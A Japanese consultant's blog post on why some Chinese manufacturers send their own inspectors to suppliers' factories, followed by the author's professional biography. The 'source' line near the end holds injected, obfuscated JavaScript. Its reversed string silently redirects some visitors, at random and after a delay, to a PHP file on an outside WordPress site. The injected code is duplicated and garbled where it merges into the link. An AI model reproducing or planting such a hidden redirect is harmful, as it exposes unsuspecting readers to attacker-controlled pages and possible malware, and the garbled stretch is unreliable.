仕入先に自社検査員を派遣する中国企業!!

仕入先に自社検査員を派遣する中国企業!!

弊社の中国工場セミナーでは、
生産の3要素-3M(人、機械、材料)を切り口として
中国工場の問題点を見ていきます。
日本工場と中国工場の違いを認識することが
正しい打ち手を打つことに繋がるからです。

人と機械については、
日本工場と中国工場では大きな違いがあります。
しかし、材料については、違いはありません。
3Mにおける材料では、如何に中国企業の部材を使いこなすか
というのがポイントです。

優秀な中国企業もありますが、
多くは日本企業に比べて品質レベルが低いというのが
中国企業製部材の現状です。

こうした中国企業の部材の品質で多くの日系企業が
対応に苦慮しています。
しかし、中国企業もまた自分たちの仕入先中国企業の
品質問題で困っているのも事実です。

中国企業から調達する部材の品質に関して、
日本企業も中国企業も困っており、
そこに違いはないということです。

これに対する中国企業の対応は様々です。
ひどいところは自社品質が悪いのを
仕入先部材の品質のせいにしています。
そういう会社は、仕入先に対して改善要求や指導はしていません。

改善要求はしているものの、
それがまったく機能していないところは多いと思われます。
これらの会社は仕入先に文句は言うものの
改善指導することができません。
実施する能力がないのです。
ですから一向に状況はよくなりません。

そんな中、自己防衛の手段として
自社検査員を仕入先に送り込んでいる中国企業もあります。
受入検査を自社ではなく仕入先で行うために
送り込んでいるのです。

仕入先でも当然出荷検査は実施しています。
言ってみればそれを信用していないということですね。
確実に合格したものだけを納入させることが目的です。

なぜこのようなことをするのか。
それは中国企業のひとつの傾向として、
不良品と分かっていても納入することがあるためです。

中国企業は「納入してしまえば勝ち」的なところがあります。
非常に甘い考えですが、次のように考えているからです。

・不良品でも納入してしまえば使ってくれる
・最悪でも顧客の検査ではじいてくれる

日本企業ではあり得ないことですね。

 

出典:$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toimprove/entry-12272415993.html” target=”_blank”>仕入先に自社検査員を派遣する中国企業!!


KPIマネジメント代表・チーフコンサルタント◎電機系メーカーにて技術部門、資材部門を経て香港・中国に駐在。現地においては、購入部材の品質管理責任者として購入部材仕入先品質指導及び品質改善指導。延べ100社に及ぶ仕入先工場の品質改善指導に奔走 ◎東京都/千葉県商工会連合会専門エキスパート(品質管理、製造業指導) GCS認定コーチ◎日本生産性本部経営アカデミー講師 名古屋外国語大学非常勤講師 セミナー/企業研修講師多数◎中国工場コンサルティング実績 日系中国工場品質改善及び管理体制の見直し(広東省)、中国企業品質管理体制の構築(福建省1社)、中国企業労務人事管理監査対応指導(パートナーコンサルタントと共同で実施:広東省1社)、米国D社の労務人事監査指摘事項への対応を指導、中国工場品質管理体制の構築(広東、大連など2社)、中国工場運営管理支援(広東1社)、外観検査の精度向上指導(広東1社)、中国生産委託先工場監査代行(広東1社) 国内工場管理の見直し及び製品コストダウン、外灯製造会社の5S指導、金属加工会社の品質管理・改善、生産性向上指導(1社)、金属加工会社の組織再構築、経営改革指導(1社)、板金塗装会社の5S指導(1社)、環境関連企業の新工場立ち上げ支援(1社)◎製造業向け社員研修実績 中国人管理者教育(広東、大連、厦門など3社)、コーチング研修(2社)、来日した中国企業スタッフ研修、中国赴任前研修(パソナ様)、若手社員向け中国工場の問題点と対処法(和歌山県工業技術センター様)、中国工場品質管理講座&異文化コミュニケーション(富士通テレコムネットワークス様)、仕入先様品質管理勉強会 テーマ:中国工場での品質管理の進め方(株式会社オートバックスセブン様)、中国への生産委託に伴う工程/品質管理のポイント(N社様、I社様) ◎著書 こうすれば失敗しない!中国工場の品質改善<虎の巻>(日刊工業新聞社)、雑誌「標準化と品質管理」2012年8月号特集記事執筆(日本規格協会)、外観検査の不良見逃し・ばらつき低減(技術情報協会・共同執筆)、通信教育講座「外観目視検査の進め方と留意点」担当講師(テキスト執筆、添削指導) ◎KPIマネジメント http://www.prestoimprove.com/index.html ブログ「中国工場での品質管理・品質改善」https://ameblo.jp/prestoimprove/